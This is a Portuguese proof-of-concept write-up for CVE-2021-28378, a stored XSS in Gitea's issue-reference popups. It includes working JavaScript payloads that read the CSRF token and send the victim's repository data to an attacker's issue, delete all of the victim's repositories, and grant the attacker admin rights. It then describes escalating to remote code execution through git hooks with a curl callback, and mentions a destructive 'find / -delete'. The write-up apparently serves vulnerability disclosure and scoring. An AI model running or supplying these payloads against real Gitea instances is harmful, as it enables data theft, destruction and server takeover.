
Prova de conceito detalhada e análise da CVE-2021-28378, uma vulnerabilidade de XSS armazenado no Gitea permitindo injeção arbitrária de código, escalonamento de privilégios e execução remota de código por meio de hooks do git.
Detalhes sobre este CVE aqui.
Este CVE tem como alvo uma falta de escape de strings no lado do cliente a partir de conteúdo obtido do servidor. Permite que um atacante injete código arbitrário facilmente, ao criar um comentário numa issue ou pull request. Isto foi introduzido no commit 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5, no final de janeiro de 2020, mas devido a um squash não podemos saber exatamente quem fez isto para investigar bugs semelhantes introduzidos.
Antes de mais, vamos perceber de onde vem esta vulnerabilidade. Para isso, vejamos o commit que corrige este CVE.
Antes:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
Podemos ver que não há qualquer escape HTML em label.name, , e , que são strings que um utilizador pode manipular e, portanto, injetar código arbitrário. Observe que não pode realmente ser manipulado para injetar código, pois tem de seguir demasiadas regras () que não podemos contornar com este CVE. É exatamente isto que o PR corrige ao convertê-los para .
issue.repository.full_nameissue.titlebodyissue.repository.full_name[\w._-]+htmlEscapeDepois:
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
html: `
<div>
<p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
<p>${htmlEscape(body)}</p>
${labels}
</div>
`
Vamos dar uma rápida olhada no ficheiro web_src/js/features/contextpopup.js, para perceber como desencadear o CVE.
...
const {AppSubUrl} = window.config;
export default function initContextPopups() {
const refIssues = $('.ref-issue');
if (!refIssues.length) return;
refIssues.each(function () {
const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
issuePopup(owner, repo, index, $(this));
});
}
function issuePopup(owner, repo, index, $element) {
$.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
for (let i = 0; i < issue.labels.length; i++) {
...
labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
}
...
$element.popup({
variation: 'wide',
delay: {
show: 250
},
html: `
<div>
<p><small>${issue.repository.full_name} on ${createdAt}</small></p>
<p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
<p>${body}</p>
${labels}
</div>
`
});
});
}
O que vemos aí é que para cada nó com a classe ref-issue, vamos adicionar um popup vulnerável. Agora, precisamos de encontrar onde um ref-issue é enviado ao utilizador: vamos fazer grep (e manter apenas resultados interessantes, portanto nenhum ficheiro de teste ou semelhantes)! O seguinte número de commit corresponde à tag 1.12.4, a versão padrão do ficheiro oficial docker-compose.yml, que é afetada por este CVE.
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go: replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go: link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go: link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go: sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")
Agora sabemos que não há conteúdo estático com a classe ref-issue, mas é gerado dinamicamente. O último não é interessante pois é apenas uma regra de política de saneamento. Os outros são interessantes, veremos porquê.
Vamos mergulhar em modules/markup/html.go.
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
if ctx.metas == nil {
return
}
m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
if m == nil {
return
}
link := node.Data[m[0]:m[1]]
id := "#" + node.Data[m[2]:m[3]]
// extract repo and org name from matched link like
// http://localhost:3000/gituser/myrepo/issues/1
linkParts := strings.Split(path.Clean(link), "/")
matchOrg := linkParts[len(linkParts)-4]
matchRepo := linkParts[len(linkParts)-3]
if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
// TODO if m[4]:m[5] is not nil, then link is to a comment,
// and we should indicate that in the text somehow
replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
} else {
orgRepoID := matchOrg + "/" + matchRepo + id
replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
}
}
Também precisaremos de entender o que getIssueFullPattern faz.
func getIssueFullPattern() *regexp.Regexp {
if issueFullPattern == nil {
appURL := setting.AppURL
if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
appURL += "/"
}
issueFullPattern = regexp.MustCompile(appURL +
`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
}
return issueFullPattern
}
Vamos resumir para entender que trabalho é feito ali.
Em fullIssuePatternProcessor, primeiro precisamos de ter a certeza de que ctx.metas não é nil (o que assumimos ser verdade pois é construído por funções/métodos superiores na stack). Depois verificamos se os dados do nó correspondem a um caminho como http://mygitea.com/gituser/myrepo/issues/1. Se houver correspondência, substituímos por um link. Se o link for sobre o mesmo utilizador e repositório, substituímos pelo padrão #<issue_id>, caso contrário por <user>/<repo>#<issue_id>. Em ambos os casos, uma classe ref-issue é adicionada para gerar o popup.
Os outros resultados do grep fazem algo semelhante.
Agora que temos o contexto, que consiste em substituir um link como http://mygitea.com/gituser/myrepo/issues/1 por um link mais curto, podemos deduzir onde tal tarefa é realizada: nas issues e PRs, onde se pode adicionar uma label e/ou postar um comentário.
Para isso, vamos supor que tens um repositório com permissões de escrita.
Vai ao teu repositório e cria uma nova etiqueta com um nome contendo código arbitrário (como <script>alert('label.name')</script>).
Vai às issues do teu repositório e cria uma nova issue com código arbitrário no título e no corpo, e adiciona-lhe a etiqueta anterior.
Cria uma nova issue em qualquer repositório e adiciona no seu corpo um link para a tua issue injetada, como http://mygitea.com/gituser/myrepo/issues/1. Será substituído pelo link que vimos anteriormente, e quando alguém colocar o rato sobre o link, o código arbitrário será executado: um popup é exibido embutindo label.name.
O CVE-2021-28378 está comprovado como sendo capaz de permitir a injeção de código arbitrário. Imaginemos o que um atacante poderia fazer.
No Gitea, existe um token CSRF que afirma a tua identidade ao preencher formulários e/ou chamar a API, prevenindo problemas de segurança como embutir um iframe do Gitea para roubar os teus acessos. O token CSRF é armazenado nos teus cookies (_csrf), mas também em praticamente todas as páginas web (exceto algumas como /api/v1/swagger) que um utilizador visita, sob alguns campos... E assim nas páginas de issues/PR. O campo mais interessante que o contém está dentro da parte comum do cabeçalho das páginas HTML, sempre com o mesmo XPath: /html/head/meta[9].
Com estes dados, podemos agora enviar ações autenticadas de qualquer utilizador afetado pela nossa payload, simplesmente obtendo o token CSRF em JS, com o seguinte: (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content.
Agora, é altura de usar a tua criatividade para construir vários ataques. Nota que estarás limitado nas tuas ações, mas nem tanto:
label.name e issue.title devem ser curtos, e por isso nem todas as payloads caberão. No entanto, podes injetar um script com um atributo src que referencie qualquer script que queiras;body não tem limite de comprimento, mas a pré-visualização do popup limita a pré-visualização dos dados. A tua payload terá de estar no início se quiseres que seja acionada. No entanto, podes fazer como especificado anteriormente com um script e um atributo src.Vejamos alguns exemplos que podes construir.
Imagina o cenário onde um atacante quer obter todos os repositórios a que tens acesso. Isto prova que o ataque pode quebrar toda a tua confidencialidade. Este ataque é realizado em 3 passos:
Vamos escrever algum código JS para fazer isto:
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
}
}
xhrGet.send(null);
Coloca esta payload no seu próprio ficheiro, envia-o para o teu repositório e injeta-o no corpo de uma issue usando algo como <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Agora o atacante pode comentar uma issue/PR referenciando esta issue injetada, e quando alguém colocar o rato sobre o link, todos os seus dados dos repositórios são roubados pelo atacante!
Imagina o cenário onde um atacante quer eliminar todos os repositórios a que tens acesso. Isto prova que o ataque pode quebrar toda a tua integridade. Este ataque é realizado em 3 passos:
Vamos escrever algum código JS para fazer isto:
var AppURL = "http://mygitea.com";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
if (xhrGet.readyState === XMLHttpRequest.DONE) {
data = xhrGet.response.data;
data.forEach(repo => {
var xhrPost = new XMLHttpRequest();
xhrPost.open("POST", repo.html_url + "/settings", true);
xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
});
}
}
xhrGet.send(null);
Coloca esta payload no seu próprio ficheiro, envia-o para o teu repositório e injeta-o no corpo de uma issue usando algo como <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Agora o atacante pode comentar uma issue/PR referenciando esta issue injetada, e quando alguém colocar o rato sobre a referência, todos os repositórios a que tem acesso são eliminados!
Imagina o cenário onde um atacante quer obter os direitos de administrador. Isto prova que é possível uma Escalação de Privilégios. Este ataque é realizado em 2 passos:
Vamos escrever algum código JS para fazer isto:
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";
var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;
var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");
Nota que o valor de login_type pode mudar de acordo com a tua versão do Gitea e a forma como a tua instância lida com o login.
Coloca esta payload no seu próprio ficheiro, envia-o para o teu repositório e injeta-o no corpo de uma issue usando algo como <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script>.
Agora o atacante pode comentar uma issue/PR referenciando esta issue injetada, e quando alguém com direitos suficientes colocar o rato sobre a referência, o atacante recebe direitos de administrador! Ele também pode atribuir a issue a um administrador, ou criar a issue num repositório que um administrador esteja a vigiar (assim receberá uma notificação) para aumentar as suas hipóteses.
A parte """mais engraçada""" do Gitea é que as considerações de segurança não fizeram parte do processo, ao implementar git hooks. É provavelmente uma das piores ideias que se poderia implementar.
Depois de teres direitos de administrador, podes conceder-te o privilégio de gerir git hooks (o que é conseguido com a payload anterior). Procede como o módulo Metasploit Gitea Git Hooks Remote Code Execution faz:
post-receive;Para garantir que este RCE é válido, vamos colocar o seguinte, com um id válido.
#!/bin/bash
curl https://requestbin.net/r/<id>
No painel de inspeção do RequestBin, depois de submeter um ficheiro que aciona o git hook post-receive, vemos que um pedido foi realizado com User-Agent: curl/<version>, o que prova que é um RCE válido.
Nota que esta funcionalidade implica que para cada XSS que possa ser acionado por um administrador, desde que exista o valor _csrf embutido em praticamente todas as páginas web, podes obter um RCE no Gitea.
Faça as suas atualizações de acordo com as versões afetadas pelo CVE (consulte o relatório oficial). No momento da redação: 1.12.0 a 1.13.4 (excluída).
Aqui está uma lista de versões afetadas e o seu estado de teste. Nota para as versões 1.13.X, terás de adicionar DISABLE_GIT_HOOKS = false no ficheiro app.ini sob a secção [security], que pode estar localizado em data/gitea/conf/app.ini, dependendo de onde a tua pasta de dados está (para o ficheiro docker-compose.yml documentado no DockerHub, estará na mesma pasta).
| Versão | XSS | RCE |
|---|---|---|
| 1.12.0 | ✅ | ✅ |
| 1.12.1 | ✅ | ✅ |
| 1.12.2 | ✅ | ✅ |
| 1.12.3 | ✅ | ✅ |
| 1.12.4 | ✅ | ✅ |
| 1.12.5 | ✅ | ✅ |
| 1.12.6 | ✅ | ✅ |
| 1.13.0 | ✅ | ✅ |
| 1.13.1 | ✅ | ✅ |
| 1.13.2 | ✅ | ✅ |
| 1.13.3 | ✅ | ✅ |
✅: comprovado a funcionar ; ❓: necessita de testes ; ❌: comprovado a não funcionar
Esta tabela foi feita para guiar o leitor no cálculo da pontuação: serve apenas para discutir a pontuação, e não deve ser tomada como uma ordem.
| Métrica | Valor | Explicação |
|---|---|---|
| AV | Network | Utiliza HTTP para interagir. |
| AC | Low | Apenas necessita de uma issue (por defeito no Gitea é muito fácil criar uma porque está ativado para todos) ou uma pull request. |
| PR | Low | Na maioria dos contextos necessita de uma conta para criar uma issue (por defeito, podes registar novas contas). Todas as contas podem criar uma issue num repositório só de leitura, exceto se o repositório foi configurado para evitar issues (o que não é a configuração padrão e raramente é modificado). |
| UI | Required | Um utilizador ou administrador tem de colocar o rato sobre o link infetado para acionar uma payload. |
| S | Changed | Com o RCE, tens acesso à máquina anfitriã e, portanto, a serviços colocalizados. |
| C | High | Depois de obteres os direitos de administrador, podes gerir tudo mesmo que tenha sido configurado como privado. És capaz de roubar credenciais da base de dados, conectar-te a ela usando o RCE e extrair dados. Com o RCE, podes ler diretamente o sistema de ficheiros, onde não são feitas verificações de autenticação/autorização pelo Gitea. |
| I | High | Depois de obteres os direitos de administrador, podes modificar direitos, visibilidade, alterar o código do repositório, até eliminar o repositório. Com o RCE, és livre de explorar tudo e, portanto, impactar a integridade dos utilizadores, ficheiros... |
| A | High | Dado o RCE, podes simplesmente eliminar todo o sistema de ficheiros com find / -delete, causando uma perda total de disponibilidade. |
| E | High | Dado o script python exploit.py, podes explorar facilmente a vulnerabilidade, desde uma conta simples até uma reverse shell root. |
| RL | Official Fix | Corrigido pelo commit <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab>, integrado no master e, portanto, no Gitea 1.13.4. |
| RC | Confirmed | Este relatório confirma e mostra múltiplos exploits, desde a análise da origem do XSS até um exemplo de RCE e script. |
Vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C
| Nome do grupo de métrica | Pontuação | Descrição |
|---|---|---|
| Pontuação Base | 9.0 | Crítica |
| Pontuação Temporal | 8.6 | Alta |